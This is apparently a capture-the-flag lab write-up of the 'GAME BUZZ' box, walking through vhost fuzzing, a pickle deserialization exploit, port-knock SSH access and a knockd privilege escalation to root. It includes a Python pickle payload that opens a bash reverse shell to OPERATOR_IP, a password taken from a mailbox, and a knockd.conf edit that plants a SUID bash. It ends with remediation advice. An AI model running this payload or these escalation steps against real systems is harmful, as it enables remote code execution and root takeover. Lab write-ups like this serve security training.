Case file

Pickle deserialization RCE, port knock SSH, and knockd root

Intermediate web engagement: insecure pickle unpickle on a game-rating endpoint yielded www-data; mail and knockd opened SSH as dev1; writable knockd.conf plus sudo restart planted a SUID bash as root.

Intermediate30 minWeb · Deserialization · Port Knocking · Privilege Escalation
  • A vhost upload UI accepted a malicious pickle. The main site’s rating handler unpickled it for RCE. Port knock opened SSH; rewriting knockd’s openSSH command under sudo completed root.

  • ffuf found the dev vhost. A crafted pickle uploaded under /secret/upload/ was triggered via the rating API path.

  • dev1’s mailbox held the SSH password. knockd sequence opened port 22 for authentication.

  • sudo restart of knockd plus ACL write on the config replaced openSSH with a SUID plant; re-knock executed as root.

01

Engagement summary

A vhost upload UI accepted a malicious pickle. The main site’s rating handler unpickled it for RCE. Port knock opened SSH; rewriting knockd’s openSSH command under sudo completed root.

Against GAME BUZZ (10.10.41.81 / incognito.com), only HTTP was visible; SSH was filtered behind knockd. Vhost fuzzing found dev.incognito.com with /secret/upload/. We uploaded a pickle whose __reduce__ spawned a reverse shell, then pointed the public game-rating JSON object path at that file — insecure deserialization executed as www-data. /var/mail/dev1 held a password hash string used as the SSH password; /etc/knockd.conf documented sequence 5020,6120,7340. After knocking and authenticating as dev1, ACL write on knockd.conf plus sudo restart of knockd let us replace the openSSH command with a SUID bash plant; re-knocking executed it as root.

Business impact

Unpickling attacker-controlled objects is remote code execution. Port knocking is not authentication — once sequences leak, SSH is exposed. Letting a low-privilege user rewrite knockd commands that run as root turns a firewall helper into a root backdoor. Ban pickle for untrusted data; protect knock sequences; remove write ACLs and sudo over knockd from developer accounts.

02

Vhost discovery and pickle RCE

ffuf found the dev vhost. A crafted pickle uploaded under /secret/upload/ was triggered via the rating API path.

OPERATOR · VHOST

savvy@lab:~$ nmap -sV 10.10.41.81

80/tcp open http Apache httpd 2.4.29 (Ubuntu)

savvy@lab:~$ ffuf -u http://incognito.com/ -H "Host: FUZZ.incognito.com" -w subdomains-top1million-5000.txt -fw 8853

dev

savvy@lab:~$ dirsearch -u http://dev.incognito.com/secret

/secret/upload/ (Status: 200)

PAYLOAD

shell.pkl.py

#!/usr/bin/env python3
import pickle, os

class Payload(object):
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/OPERATOR_IP/1234 0>&1'",))

pickle.dump(Payload(), open("shell", "wb"))

OPERATOR · TRIGGER

savvy@lab:~$ python3 shell.pkl.py

# upload shell via /secret/upload/; rating body points object path at uploaded pickle

savvy@lab:~$ nc -lnvp 1234

savvy@lab:/var/www$

03

Mail password and port-knock SSH

dev1’s mailbox held the SSH password. knockd sequence opened port 22 for authentication.

OPERATOR · KNOCK

savvy@lab:~$ cat /var/mail/dev1

password has been changed: dc647eb65e6711e155375218212b3964

savvy@lab:~$ cat /etc/knockd.conf

sequence = 5020,6120,7340 # openSSH → iptables ACCEPT :22

savvy@lab:~$ knock -v 10.10.41.81 5020 6120 7340

savvy@lab:~$ ssh dev1@10.10.41.81

savvy@lab:~$

04

Writable knockd.conf to SUID bash

sudo restart of knockd plus ACL write on the config replaced openSSH with a SUID plant; re-knock executed as root.

OPERATOR · ROOT

savvy@lab:~$ sudo -l

(root) NOPASSWD: /etc/init.d/knockd restart

# ACL allows edit of /etc/knockd.conf openSSH command

savvy@lab:~$ # set command = /bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod +s /tmp/root_bash'

savvy@lab:~$ sudo /etc/init.d/knockd restart

savvy@lab:~$ knock -v 10.10.41.81 5020 6120 7340

savvy@lab:~$ /tmp/root_bash -p

root@lab:~# id

uid=0(root) gid=0(root) groups=0(root)

Remediation

Never unpickle untrusted blobs — use signed JSON or a safe serializer. Treat knock sequences as secrets and rotate them. Do not grant developers write ACLs on knockd.conf or sudo over the service.